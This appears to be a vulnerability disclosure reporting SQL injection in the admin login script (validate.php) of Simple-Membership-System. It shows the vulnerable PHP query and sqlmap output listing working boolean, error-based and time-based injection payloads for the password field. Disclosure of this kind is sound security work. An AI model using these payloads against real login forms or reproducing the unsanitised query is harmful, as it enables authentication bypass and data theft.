


Simple-Membership-System validate.php has Sqlinjection

Simple-Membership-System validate.php has Sqlinjection, The basic introduction of this vulnerability is that SQL injection means that the web application does not judge or filter the validity of user input data strictly. An attacker can add additional SQL statements to the end of the predefined query statements in the web application to achieve illegal operations without the administrator's knowledge, so as to cheat the database server to execute unauthorized arbitrary queries and further obtain the corresponding data information.

```
require_once '../conn.php';
$username = $_POST['username'];
$password = $_POST['password'];
$query = $conn->query("SELECT * FROM 'admin' WHERE 'username' = '$username' && 'password' = '$password'") or die(mysql_error());
$validate = $query->num_rows;
$fetch = $query->fetch_array();
if($validate > 0){
    echo "Success";
    session_start();
    $_SESSION['admin_id'] = $fetch['admin_id'];
}else{
    echo "Error";
}
```



```
04:51:53] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you exp
erience any problems during data retrieval
[04:51:53] POST parameter 'password' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 284 HTTP(s) requests:
----
Parameter: password (POST)
  Type: boolean-based blind
  Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
  Payload: username=admin&password=admin' OR NOT 7184=7184#

  Type: error-based
  Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
  Payload: username=admin&password=admin' OR (SELECT 8215 FROM (SELECT COUNT(*), CONCAT(0x717a766a71, (SELECT (ELT(8215=8
215,1))), 0x716b627871, FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- Tanf

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: username=admin&password=admin' AND (SELECT 4383 FROM (SELECT(SLEEP(5)))svXV)-- cxsm
---
```

Sqlmap attack

```
---
Parameter: password (POST)
  Type: boolean-based blind
  Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
  Payload: username=admin&password=admin' OR NOT 7184=7184#

  Type: error-based
  Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
(FLOOR)
```

```
Payload: username=admin&password=admin' OR (SELECT 8215 FROM(SELECT  
COUNT(*),CONCAT(0x717a766a71,(SELECT  
(ELT(8215=8215,1))),0x716b627871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS  
GROUP BY x)a)-- Tanf
```

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

```
Payload: username=admin&password=admin' AND (SELECT 4383 FROM  
(SELECT(SLEEP(5)))svXV)-- cxsm
```
